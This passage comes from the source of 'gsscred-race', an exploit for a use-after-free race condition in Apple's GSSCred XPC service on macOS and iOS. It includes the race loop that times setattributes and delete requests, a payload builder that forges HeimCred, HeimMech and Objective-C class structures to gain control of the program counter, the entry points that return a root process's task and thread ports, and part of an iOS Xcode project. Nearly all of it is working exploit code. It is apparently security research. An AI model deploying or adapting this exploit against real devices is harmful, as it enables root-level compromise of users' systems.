free(desc); 888 | #endif 889 | }); 890 | // Initialize state variables for the connections. 891 | state->connection_interrupted = false; 892 | } 893 | 894 | // Close all the GSSCred connections. 895 | static void 896 | gsscred_race_close_connections(struct gsscred_race_state *state) { 897 | xpc_connection_cancel(state->setattributes_connection); 898 | xpc_connection_cancel(state->delete_connection); 899 | xpc_release(state->setattributes_connection); 900 | xpc_release(state->delete_connection); 901 | } 902 | 903 | // Send the credential creation request to GSSCred. 904 | static bool 905 | gsscred_race_create_credential_sync(struct gsscred_race_state *state) { 906 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync( 907 | state->delete_connection, 908 | state->create_request); 909 | #if DEBUG_LEVEL(3) 910 | char *desc = xpc_copy_description(reply); 911 | DEBUG_TRACE(3, "create reply: %s", desc); 912 | free(desc); 913 | #endif 914 | bool success = (xpc_dictionary_get_value(reply, "error") == NULL); 915 | xpc_release(reply); 916 | return success; 917 | } 918 | 919 | // Send the setattributes request asynchronously. This will cause do_SetAttrs() to stall in 920 | // HeimCredMessageCopyAttributes() for awhile (hopefully around 10 milliseconds) while it 921 | // continuously allocates CFString objects. 922 | static void 923 | gsscred_race_setattributes_async(struct gsscred_race_state *state) { 924 | // Send the setattributes message asynchronously. 925 | xpc_connection_send_message_with_reply( 926 | state->setattributes_connection, 927 | state->setattributes_request, 928 | NULL, 929 | ^(xpc_object_t reply) { 930 | gsscred_race_check_interrupted(state, reply); 931 | dispatch_semaphore_signal(state->setattributes_reply_done); 932 | #if DEBUG_LEVEL(3) 933 | // We never expect feedback. 934 | char *desc = xpc_copy_description(reply); 935 | DEBUG_TRACE(3, "setattributes reply: %s", desc); 936 | free(desc); 937 | assert(xpc_dictionary_get_value(reply, "error") == NULL); 938 | #endif 939 | }); 940 | } 941 | 942 | // Send the delete request synchronously. This will cause the target credential to be deleted 943 | // and hopefully allow it to be reallocated as a CFString for setattributes. 944 | static void 945 | gsscred_race_delete_credential_sync(struct gsscred_race_state *state) { 946 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync( 947 | state->delete_connection, 948 | state->delete_request); 949 | #if DEBUG_LEVEL(3) 950 | char *desc = xpc_copy_description(reply); 951 | DEBUG_TRACE(3, "delete reply: %s", desc); 952 | free(desc); 953 | #endif 954 | xpc_release(reply); 955 | } 956 | 957 | // Try to crash the GSSCred process. 958 | static void 959 | gsscred_race_crash(struct gsscred_race_state *state) { 960 | gsscred_race_create_credential_sync(state); 961 | xpc_object_t crash_request = xpc_dictionary_create(NULL, NULL, 0); 962 | const uint8_t *uuid = xpc_dictionary_get_uuid(state->setattributes_request, "uuid"); 963 | xpc_dictionary_set_string(crash_request, "command", "move"); 964 | xpc_dictionary_set_uuid( crash_request, "from", uuid); 965 | xpc_dictionary_set_uuid( crash_request, "to", uuid); 966 | xpc_object_t reply = xpc_connection_send_message_with_reply_sync( 967 | state->delete_connection, crash_request); 968 | xpc_release(reply); 969 | } 970 | 971 | // Wait for all asynchronous messages to finish. 972 | static void 973 | gsscred_race_synchronize(struct gsscred_race_state *state) { 974 | // We're only waiting for setattributes; all other requests are synchronous. 975 | dispatch_semaphore_wait(state->setattributes_reply_done, DISPATCH_TIME_FOREVER); 976 | } 977 | 978 | // Run the race condition. 979 | static bool 980 | gsscred_race_run(struct gsscred_race_state *state) { 981 | bool done = false; 982 | // Open the connections to the GSSCred service. 983 | gsscred_race_open_connections(state); 984 | // First send a delete message to make sure GSSCred is up and running, then give it time to 985 | // initialize. 986 | gsscred_race_delete_credential_sync(state); 987 | sleep(1); 988 | // Initialize the delay between setattributes and delete. 989 | state->setattributes_to_delete_delay = INITIAL_SETATTRIBUTES_TO_DELETE_DELAY_US; 990 | // Loop until we win. 991 | for (size_t try = 1;; try++) { 992 | DEBUG_TRACE(1, "Trying delay %u", state->setattributes_to_delete_delay); 993 | // Create the credential synchronously. 994 | bool ok = gsscred_race_create_credential_sync(state); 995 | if (!ok) { 996 | ERROR("Could not create the credential"); 997 | done = true; 998 | break; 999 | } 1000 | // Wait a little while after creating the credential for GSSCred's allocator to 1001 | // calm down. Probably not necessary, but better safe than sorry. 1002 | usleep(POST_CREATE_CREDENTIAL_DELAY); 1003 | // Send the setattributes request asynchronously. do_SetAttrs() will store a 1004 | // pointer to the target credential on the stack and then loop continuously 1005 | // allocating memory. The reuse of this pointer later in the function is the UAF, 1006 | // and our race window is however long do_SetAttrs() spends in the allocation loop. 1007 | gsscred_race_setattributes_async(state); 1008 | // Sleep for awhile, until there's a good chance that the delete request will 1009 | // arrive in the middle of the race window. 1010 | usleep(state->setattributes_to_delete_delay); 1011 | // Send the delete message synchronously. 1012 | gsscred_race_delete_credential_sync(state); 1013 | // Wait for the setattributes request to finish. 1014 | gsscred_race_synchronize(state); 1015 | // If we got a task port, then we're done! 1016 | if (state->gsscred_task_port != MACH_PORT_NULL) { 1017 | DEBUG_TRACE(1, "Success! Won the race after %zu %s", try, 1018 | (try == 1 ? "try" : "tries")); 1019 | done = true; 1020 | break; 1021 | } 1022 | // If we got a Connection Interrupted error, then we crashed GSSCred. 1023 | if (state->connection_interrupted) { 1024 | WARNING("Crash!"); 1025 | DEBUG_TRACE(1, "Won the race after %zu %s, but failed to get " 1026 | "GSSCred task port", try, (try == 1 ? "try" : "tries")); 1027 | break; 1028 | } 1029 | DEBUG_TRACE(2, "Lost the race, trying again..."); 1030 | // If we've run out of tries, give up. 1031 | if (try >= MAX_TRIES_TO_WIN_THE_RACE) { 1032 | WARNING("Could not win the race after %zu tries", try); 1033 | break; 1034 | } 1035 | // Increase the delay. 1036 | state->setattributes_to_delete_delay += SETATTRIBUTES_TO_DELETE_DELAY_INCREMENT_US; 1037 | // If we didn't get a Connection Interrupted error, then GSSCred is still running. 1038 | // Sleep for awhile to let GSSCred settle down, then try again. 1039 | usleep(RETRY_RACE_DELAY); 1040 | } 1041 | // Close the connections to GSSCred. 1042 | gsscred_race_close_connections(state); 1043 | // Return whether we should stop trying. 1044 | return done; 1045 | } 1046 | 1047 | // ---- Public API -------------------------------------------------------------------------------- 1048 | 1049 | bool 1050 | gsscred_race(mach_port_t *gsscred_task_port, mach_port_t *gsscred_thread_port) { 1051 | DEBUG_TRACE(1, "gsscred_race"); 1052 | struct gsscred_race_state state; 1053 | // Initialize the race state. 1054 | bool success = gsscred_race_init(&state); 1055 | if (!success) { 1056 | goto fail; 1057 | } 1058 | // Repeatedly try to win the race condition and execute our exploit payload. 1059 | for (size_t try = 1;; try++) { 1060 | // Try to win the race condition. If we succeed or encounter a fatal error, abort. 1061 | bool done = gsscred_race_run(&state); 1062 | if (done) { 1063 | break; 1064 | } 1065 | // If we've tried and failed too many times, give up. 1066 | if (try >= MAX_TRIES_TO_GET_TASK_PORT) { 1067 | ERROR("Could not get GSSCred's task port after %zu %s", 1068 | try, (try == 1 ? "try" : "tries")); 1069 | break; 1070 | } 1071 | } 1072 | // Clean up all race state. 1073 | gsscred_race_deinit(&state); 1074 | // Return the GSSCred task port, if we managed to get it. 1075 | fail: 1076 | *gsscred_task_port = state.gsscred_task_port; 1077 | *gsscred_thread_port = state.gsscred_thread_port; 1078 | return (state.gsscred_task_port != MACH_PORT_NULL); 1079 | } 1080 | -------------------------------------------------------------------------------- /gsscred_race/gsscred_race.h: -------------------------------------------------------------------------------- 1 | /* 2 | * gsscred-race 3 | * Brandon Azad 4 | * 5 | * Exploit a race condition in the com.apple.GSSCred XPC service. 6 | */ 7 | 8 | #ifndef GSSCRED_RACE__GSSCRED_RACE_H_ 9 | #define GSSCRED_RACE__GSSCRED_RACE_H_ 10 | 11 | #include 12 | #include 13 | #include 14 | 15 | /* 16 | * gsscred_race_log 17 | * 18 | * Description: 19 | * This is the log handler that will be executed when gsscred_race wants to log a message. The 20 | * default implementation logs the message to stderr. Setting this value to NULL will disable 21 | * all logging. Specify a custom log handler to process log messages in another way. 22 | * 23 | * Parameters: 24 | * type A character representing the type of message that is being 25 | * logged. 26 | * format A printf-style format string describing the error message. 27 | * ap The variadic argument list for the format string. 28 | * 29 | * Log Type: 30 | * The type parameters is one of: 31 | * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug 32 | * verbosity. 33 | * - I: Info: Used to convey general information about the exploit or its progress. 34 | * - W: Warning: Used to indicate that an unusual but recoverable condition was encountered. 35 | * - E: Error: Used to indicate that an unrecoverable error was encountered. gsscred_race 36 | * might continue running after an error was encountered, but it almost 37 | * certainly will not succeed. 38 | */ 39 | extern void (*gsscred_race_log)(char type, const char *format, va_list ap); 40 | 41 | /* 42 | * gsscred_race 43 | * 44 | * Description: 45 | * Exploit a race condition in the com.apple.GSSCred XPC service in order to access GSSCred's 46 | * task port. GSSCred runs as root on macOS and iOS. 47 | * 48 | * Parameters: 49 | * gsscred_task_port On return, contains the task port for GSSCred. Note that 50 | * this port's usage may be restricted on some platforms, 51 | * including iOS 11. 52 | * gsscred_thread_port On return, contains the thread port for a thread in 53 | * GSSCred. This thread port can be used to execute code 54 | * within the GSSCred process. The thread is returned 55 | * suspended. 56 | * 57 | * Returns: 58 | * Returns true if GSSCred's task port and thread port were both successfully retrieved. 59 | * Otherwise, returns false and both ports are set to MACH_PORT_NULL. 60 | * 61 | * Logging: 62 | * Many error conditions may be encountered by gsscred_race during its execution. Error 63 | * messages are logged using the gsscred_race_log function pointer described above. 64 | * 65 | * Notes: 66 | * The race condition can only safely be exploited once during the lifetime of the GSSCred 67 | * process. Subsequent attempts to exploit the vulnerability will probably fail and may cause 68 | * instability. 69 | */ 70 | bool gsscred_race(mach_port_t *gsscred_task_port, mach_port_t *gsscred_thread_port); 71 | 72 | #endif 73 | -------------------------------------------------------------------------------- /gsscred_race/log.c: -------------------------------------------------------------------------------- 1 | #include "gsscred_race.h" 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | // Log all messages to stderr. 8 | static void 9 | gsscred_race_log_stderr(char type, const char *format, va_list ap) { 10 | char *message = NULL; 11 | vasprintf(&message, format, ap); 12 | assert(message != NULL); 13 | const char *logtype = ""; 14 | const char *separator = ": "; 15 | switch (type) { 16 | case 'D': logtype = "Debug"; break; 17 | case 'I': logtype = "Info"; break; 18 | case 'W': logtype = "Warning"; break; 19 | case 'E': logtype = "Error"; break; 20 | default: separator = ""; 21 | } 22 | fprintf(stderr, "%s%s%s\n", logtype, separator, message); 23 | free(message); 24 | } 25 | 26 | void (*gsscred_race_log)(char type, const char *format, va_list ap) = &gsscred_race_log_stderr; 27 | 28 | void 29 | gsscred_race_log_internal(char type, const char *format, ...) { 30 | if (gsscred_race_log != NULL) { 31 | va_list ap; 32 | va_start(ap, format); 33 | gsscred_race_log(type, format, ap); 34 | va_end(ap); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /gsscred_race/log.h: -------------------------------------------------------------------------------- 1 | #ifndef GSSCRED_RACE__LOG_H_ 2 | #define GSSCRED_RACE__LOG_H_ 3 | 4 | #include "gsscred_race.h" 5 | 6 | #define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG) 7 | 8 | #if DEBUG 9 | #define DEBUG_TRACE(level, fmt, ...) \ 10 | do { \ 11 | if (DEBUG_LEVEL(level)) { \ 12 | gsscred_race_log_internal('D', fmt, ##__VA_ARGS__); \ 13 | } \ 14 | } while (0) 15 | #else 16 | #define DEBUG_TRACE(level, fmt, ...) do {} while (0) 17 | #endif 18 | #define INFO(fmt, ...) gsscred_race_log_internal('I', fmt, ##__VA_ARGS__) 19 | #define WARNING(fmt, ...) gsscred_race_log_internal('W', fmt, ##__VA_ARGS__) 20 | #define ERROR(fmt, ...) gsscred_race_log_internal('E', fmt, ##__VA_ARGS__) 21 | 22 | // A function to call the logging implementation. 23 | void gsscred_race_log_internal(char type, const char *format, ...); 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /gsscred_race/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * gsscred-race 3 | * Brandon Azad 4 | * 5 | * Exploit a race condition in the com.apple.GSSCred XPC service. 6 | */ 7 | 8 | #include 9 | 10 | #include "gsscred_race.h" 11 | 12 | int main(int argc, const char *argv[]) { 13 | mach_port_t gsscred_task, gsscred_thread; 14 | bool success = gsscred_race(&gsscred_task, &gsscred_thread); 15 | if (!success) { 16 | return 1; 17 | } 18 | thread_terminate(gsscred_thread); 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /gsscred_race/payload.c: -------------------------------------------------------------------------------- 1 | #include "payload.h" 2 | 3 | #include "log.h" 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #if __arm64__ 11 | #include "arm64/arm64_payload.h" 12 | #endif 13 | 14 | // ---- Payload offsets --------------------------------------------------------------------------- 15 | 16 | // These are the offsets of the various objects in our payload. The full structures of 17 | // these objects overlap so as to pack them at the front of the page, leaving the rest of the 18 | // contents available for JOP use. 19 | 20 | static const ssize_t PAYLOAD_OFFSET__HeimMech = 0x0010; // 10 - 18 -> 20 - 28 21 | static const ssize_t PAYLOAD_OFFSET__name = 0x0028; // 0 - 8 -> 28 - 30 22 | static const ssize_t PAYLOAD_OFFSET__class = 0x0000; // 10 - 1c -> 10 - 1c 23 | static const ssize_t PAYLOAD_OFFSET__bucket = 0x0000; // 0 - 10 -> 0 - 10 24 | 25 | // ---- Structure offsets ------------------------------------------------------------------------- 26 | 27 | // These are the offsets of the fields of relevant structures. 28 | 29 | static const size_t OFFSET__CFString__characters = 0x11; 30 | static const size_t OFFSET__HeimCred__mech = 0x20; 31 | static const size_t OFFSET__HeimMech__name = 0x10; 32 | static const size_t OFFSET__objc_object__isa = 0; 33 | static const size_t OFFSET__objc_class__buckets = 0x10; 34 | static const size_t OFFSET__objc_class__mask = 0x18; 35 | static const size_t OFFSET__bucket_t__key = 0; 36 | static const size_t OFFSET__bucket_t__imp = 8; 37 | 38 | // ---- Constants for platform-specific payload generation ---------------------------------------- 39 | 40 | const size_t PAYLOAD_OFFSET_PC = PAYLOAD_OFFSET__bucket + OFFSET__bucket_t__imp; 41 | const size_t PAYLOAD_OFFSET_ARG1 = PAYLOAD_OFFSET__name; 42 | 43 | // ---- Payload generation ------------------------------------------------------------------------ 44 | 45 | // Generate the string that will be repeatedly deserialized and allocated by GSSCred. If all goes 46 | // according to plan, the HeimCred object will be freed and then reallocated as a CFString, and the 47 | // CFString's inline characters will overlap with the HeimCred's "mech" pointer. Thus, after we've 48 | // corrupted the HeimCred, its "mech" field will point to the heap-sprayed data. 49 | static void 50 | generate_uaf_string(char *uaf_string) { 51 | memset(uaf_string, 'A', GSSCRED_RACE_UAF_STRING_SIZE); 52 | uint8_t *fake_HeimCred = (uint8_t *)uaf_string - OFFSET__CFString__characters; 53 | uint8_t *HeimCred_mech = fake_HeimCred + OFFSET__HeimCred__mech; 54 | *(uint64_t *)HeimCred_mech = GSSCRED_RACE_PAYLOAD_ADDRESS + PAYLOAD_OFFSET__HeimMech; 55 | } 56 | 57 | // Generate part of the payload that will be sprayed in the address space of the target process and 58 | // hopefully be mapped at GSSCRED_RACE_PAYLOAD_ADDRESS. GSSCred will pass the name pointer in the 59 | // fake HeimMech to CFDictionaryGetValue(), which will cause objc_msgSend() to be called on the 60 | // fake name object with the "hash" selector. This function generates the platform-independent part 61 | // of the payload, which gets PC control. Everything after that is managed by the platform-specific 62 | // payload. 63 | static void 64 | generate_generic_payload(uint8_t *payload) { 65 | // Fill unused space with a distinctive byte pattern. 66 | memset(payload, 0x51, GSSCRED_RACE_PAYLOAD_SIZE); 67 | 68 | // Get pointers to each region of the local buffer. 69 | uint8_t *payload_HeimMech = payload + PAYLOAD_OFFSET__HeimMech; 70 | uint8_t *payload_name = payload + PAYLOAD_OFFSET__name; 71 | uint8_t *payload_class = payload + PAYLOAD_OFFSET__class; 72 | uint8_t *payload_bucket = payload + PAYLOAD_OFFSET__bucket; 73 | 74 | // Get the addresses of each region in the target process. 75 | uint64_t address_name = GSSCRED_RACE_PAYLOAD_ADDRESS + PAYLOAD_OFFSET__name; 76 | uint64_t address_class = GSSCRED_RACE_PAYLOAD_ADDRESS + PAYLOAD_OFFSET__class; 77 | uint64_t address_bucket = GSSCRED_RACE_PAYLOAD_ADDRESS + PAYLOAD_OFFSET__bucket; 78 | 79 | // Construct the HeimMech object. We only care about the "name" field, which is usually a 80 | // pointer to a CFString. 81 | *(uint64_t *)(payload_HeimMech + OFFSET__HeimMech__name) = address_name; 82 | 83 | // Construct the name object. We only care about the "isa" field, which is a pointer to the 84 | // objc_class for this instance. 85 | *(uint64_t *)(payload_name + OFFSET__objc_object__isa) = address_class; 86 | 87 | // Construct the Objective-C class object. Since the fake name object will have the "hash" 88 | // method called, we want the fake class object to have a cache hit for the "hash" 89 | // selector. We ensure that objc_msgSend() always starts at the first bucket by setting 90 | // "mask" to 0. 91 | *(uint64_t *)(payload_class + OFFSET__objc_class__buckets) = address_bucket; 92 | *(uint32_t *)(payload_class + OFFSET__objc_class__mask) = 0; 93 | 94 | // Construct the bucket_t that has a hit for the "hash" selector. Since the shared cache is 95 | // mapped at the same address in all processes, the "hash" selector will reside at the same 96 | // address in GSSCred as it does in our process. We use a placeholder PC value since the 97 | // actual PC for the exploit will be determined by the platform-specific payload generator. 98 | uint64_t sel_hash = (uint64_t) sel_registerName("hash"); 99 | *(uint64_t *)(payload_bucket + OFFSET__bucket_t__key) = sel_hash; 100 | *(uint64_t *)(payload_bucket + OFFSET__bucket_t__imp) = 0x0011223344556677; 101 | } 102 | 103 | bool 104 | gsscred_race_build_exploit_payload(char *uaf_string, uint8_t *payload) { 105 | platform_payload_generator_fn generate_platform_payload = NULL; 106 | #if __arm64__ 107 | generate_platform_payload = arm64_choose_payload()->build_payload; 108 | #endif 109 | generate_uaf_string(uaf_string); 110 | generate_generic_payload(payload); 111 | if (generate_platform_payload == NULL) { 112 | ERROR("No payload available for this platform"); 113 | return false; 114 | } 115 | generate_platform_payload(payload); 116 | return true; 117 | } 118 | 119 | enum process_exploit_message_result 120 | gsscred_race_process_exploit_message(const mach_msg_header_t *exploit_message, 121 | mach_port_t *task_port, mach_port_t *thread_port) { 122 | // Skip messages that are not the exploit message. 123 | if (exploit_message->msgh_id != EXPLOIT_MACH_MESSAGE_ID) { 124 | DEBUG_TRACE(1, "Received unexpected message ID %x on listener " 125 | "port", exploit_message->msgh_id); 126 | return PROCESS_EXPLOIT_MESSAGE_RESULT_CONTINUE; 127 | } 128 | // All other messages get delegated to the message processing routine for the payload sent 129 | // earlier. 130 | payload_message_processor_fn process_exploit_message = NULL; 131 | #if __arm64__ 132 | process_exploit_message = arm64_choose_payload()->process_message; 133 | #endif 134 | assert(process_exploit_message != NULL); 135 | enum process_exploit_message_result result = 136 | process_exploit_message(exploit_message, task_port, thread_port); 137 | if (result == PROCESS_EXPLOIT_MESSAGE_RESULT_SUCCESS) { 138 | kern_return_t kr = thread_suspend(*thread_port); 139 | if (kr != KERN_SUCCESS) { 140 | WARNING("Could not suspend the exploit thread"); 141 | } 142 | } 143 | return result; 144 | } 145 | 146 | bool 147 | check_task_port(mach_port_t task_port) { 148 | // Check that the task port we received in our exploit message is valid. 149 | int pid = -1; 150 | kern_return_t kr = pid_for_task(task_port, &pid); 151 | if (kr != KERN_SUCCESS) { 152 | WARNING("Message from exploit payload contains invalid " 153 | "task port %x: %x", task_port, kr); 154 | return false; 155 | } 156 | DEBUG_TRACE(1, "GSSCred's PID is %u", pid); 157 | return true; 158 | } 159 | -------------------------------------------------------------------------------- /gsscred_race/payload.h: -------------------------------------------------------------------------------- 1 | #ifndef GSSCRED_RACE__PAYLOAD_H_ 2 | #define GSSCRED_RACE__PAYLOAD_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | // ---- Generic payload generation ---------------------------------------------------------------- 10 | 11 | // The size of the uaf_string parameter to build_payload(). 12 | static const size_t GSSCRED_RACE_UAF_STRING_SIZE = 0x20; 13 | 14 | // The size and target address of the payload. 15 | static const size_t GSSCRED_RACE_PAYLOAD_SIZE = 0x4000; 16 | static const uint64_t GSSCRED_RACE_PAYLOAD_ADDRESS = 0x0000000120204000; 17 | 18 | // Build the UAF string and payload. 19 | bool gsscred_race_build_exploit_payload(char *uaf_string, uint8_t *payload); 20 | 21 | // Result codes for gsscred_race_process_exploit_message. 22 | enum process_exploit_message_result { 23 | PROCESS_EXPLOIT_MESSAGE_RESULT_SUCCESS, 24 | PROCESS_EXPLOIT_MESSAGE_RESULT_CONTINUE, 25 | PROCESS_EXPLOIT_MESSAGE_RESULT_KILL_AND_RETRY, 26 | }; 27 | 28 | // Process the Mach message sent by the exploit payload and return the task port and thread port. 29 | // The thread is returned suspended. 30 | enum process_exploit_message_result gsscred_race_process_exploit_message( 31 | const mach_msg_header_t *exploit_message, 32 | mach_port_t *task_port, mach_port_t *thread_port); 33 | 34 | // ---- Platform-specific payload generation ------------------------------------------------------ 35 | 36 | // The offset into the payload at which to store the instruction pointer address to jump to. 37 | extern const size_t PAYLOAD_OFFSET_PC; 38 | 39 | // The offset into the payload at which the first argument will point when we get instruction 40 | // pointer control. 41 | extern const size_t PAYLOAD_OFFSET_ARG1; 42 | 43 | // The Mach message ID of the Mach message sent by the exploit payload. 44 | static const uint32_t EXPLOIT_MACH_MESSAGE_ID = 0x414200ab; 45 | 46 | // The type of a function for platform-specific payload generation. 47 | typedef void (*platform_payload_generator_fn)(uint8_t *payload); 48 | 49 | 50 | // The type of a function for processing a message generated by a payload. 51 | typedef enum process_exploit_message_result (*payload_message_processor_fn)( 52 | const mach_msg_header_t *hdr, 53 | mach_port_t *task_port, mach_port_t *thread_port); 54 | 55 | // A helper routine to check whether the task port contained in the exploit message looks valid. 56 | bool check_task_port(mach_port_t task_port); 57 | 58 | #endif 59 | -------------------------------------------------------------------------------- /gsscred_race_ios/gsscred_race_ios.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 48; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | 55BEB8FC1FF5DF2D008B8F93 /* gadgets.c in Sources */ = {isa = PBXBuildFile; fileRef = 55BEB8FA1FF5DF2D008B8F93 /* gadgets.c */; }; 11 | 55BEB8FF1FF62713008B8F93 /* payload.c in Sources */ = {isa = PBXBuildFile; fileRef = 55BEB8FD1FF62713008B8F93 /* payload.c */; }; 12 | 55BEB9031FF62723008B8F93 /* payload_strategy_1.c in Sources */ = {isa = PBXBuildFile; fileRef = 55BEB9001FF62723008B8F93 /* payload_strategy_1.c */; }; 13 | 55BEB9041FF62723008B8F93 /* arm64_payload.c in Sources */ = {isa = PBXBuildFile; fileRef = 55BEB9021FF62723008B8F93 /* arm64_payload.c */; }; 14 | 55BEB9071FF6E9EA008B8F93 /* log.c in Sources */ = {isa = PBXBuildFile; fileRef = 55BEB9061FF6E9EA008B8F93 /* log.c */; }; 15 | 55DC4C5E1FE3A34100E1D18D /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 55DC4C5D1FE3A34100E1D18D /* AppDelegate.m */; }; 16 | 55DC4C611FE3A34100E1D18D /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 55DC4C601FE3A34100E1D18D /* ViewController.m */; }; 17 | 55DC4C641FE3A34100E1D18D /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 55DC4C621FE3A34100E1D18D /* Main.storyboard */; }; 18 | 55DC4C661FE3A34100E1D18D /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 55DC4C651FE3A34100E1D18D /* Assets.xcassets */; }; 19 | 55DC4C691FE3A34100E1D18D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 55DC4C671FE3A34100E1D18D /* LaunchScreen.storyboard */; }; 20 | 55DC4C6C1FE3A34100E1D18D /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 55DC4C6B1FE3A34100E1D18D /* main.m */; }; 21 | 55DC4C7B1FE3A6BD00E1D18D /* gsscred_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 55DC4C7A1FE3A6BD00E1D18D /* gsscred_race.c */; }; 22 | /* End PBXBuildFile section */ 23 | 24 | /* Begin PBXFileReference section */ 25 | 55BEB8ED1FF5DD1D008B8F93 /* apple_private.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = apple_private.h; sourceTree = ""; }; 26 | 55BEB8FA1FF5DF2D008B8F93 /* gadgets.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = gadgets.c; sourceTree = ""; }; 27 | 55BEB8FB1FF5DF2D008B8F93 /* gadgets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = gadgets.h; sourceTree = ""; }; 28 | 55BEB8FD1FF62713008B8F93 /* payload.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = payload.c; sourceTree = ""; }; 29 | 55BEB8FE1FF62713008B8F93 /* payload.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = payload.h; sourceTree = ""; }; 30 | 55BEB9001FF62723008B8F93 /* payload_strategy_1.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = payload_strategy_1.c; sourceTree = ""; }; 31 | 55BEB9011FF62723008B8F93 /* arm64_payload.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = arm64_payload.h; sourceTree = ""; }; 32 | 55BEB9021FF62723008B8F93 /* arm64_payload.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = arm64_payload.c; sourceTree = ""; }; 33 | 55BEB9051FF6E9EA008B8F93 /* log.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = log.h; sourceTree = ""; }; 34 | 55BEB9061FF6E9EA008B8F93 /* log.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = log.c; sourceTree = ""; }; 35 | 55DC4C591FE3A34100E1D18D /* gsscred_race_ios.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = gsscred_race_ios.app; sourceTree = BUILT_PRODUCTS_DIR; }; 36 | 55DC4C5C1FE3A34100E1D18D /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 37 | 55DC4C5D1FE3A34100E1D18D /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 38 | 55DC4C5F1FE3A34100E1D18D /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; 39 | 55DC4C601FE3A34100E1D18D /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; 40 | 55DC4C631FE3A34100E1D18D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 41 | 55DC4C651FE3A34100E1D18D /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 42 | 55DC4C681FE3A34100E1D18D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 43 | 55DC4C6A1FE3A34100E1D18D /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 44 | 55DC4C6B1FE3A34100E1D18D /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 45 | 55DC4C7A1FE3A6BD00E1D18D /* gsscred_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = gsscred_race.c; sourceTree = ""; }; 46 | 55DC4C7C1FE3A6F200E1D18D /* gsscred_race.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = gsscred_race.h; sourceTree = ""; }; 47 | /* End PBXFileReference section */ 48 | 49 | /* Begin PBXFrameworksBuildPhase section */ 50 | 55DC4C561FE3A34100E1D18D /* Frameworks */ = { 51 | isa = PBXFrameworksBuildPhase; 52 | buildActionMask = 2147483647; 53 | files = ( 54 | ); 55 | runOnlyForDeploymentPostprocessing = 0; 56 | }; 57 | /* End PBXFrameworksBuildPhase section */ 58 | 59 | /* Begin PBXGroup section */ 60 | 55BEB8F91FF5DF2D008B8F93 /* arm64 */ = { 61 | isa = PBXGroup; 62 | children = ( 63 | 55BEB9021FF62723008B8F93 /* arm64_payload.c */, 64 | 55BEB9011FF62723008B8F93 /* arm64_payload.h */, 65 | 55BEB8FA1FF5DF2D008B8F93 /* gadgets.c */, 66 | 55BEB8FB1FF5DF2D008B8F93 /* gadgets.h */, 67 | 55BEB9001FF62723008B8F93 /* payload_strategy_1.c */, 68 | ); 69 | path = arm64; 70 | sourceTree = ""; 71 | }; 72 | 55DC4C501FE3A34100E1D18D = { 73 | isa = PBXGroup; 74 | children = ( 75 | 55DC4C791FE3A6BD00E1D18D /* gsscred_race */, 76 | 55DC4C5B1FE3A34100E1D18D /* gsscred_race_ios */, 77 | 55DC4C5A1FE3A34100E1D18D /* Products */, 78 | ); 79 | sourceTree = ""; 80 | }; 81 | 55DC4C5A1FE3A34100E1D18D /* Products */ = { 82 | isa = PBXGroup; 83 | children = ( 84 | 55DC4C591FE3A34100E1D18D /* gsscred_race_ios.app */, 85 | ); 86 | name = Products; 87 | sourceTree = ""; 88 | 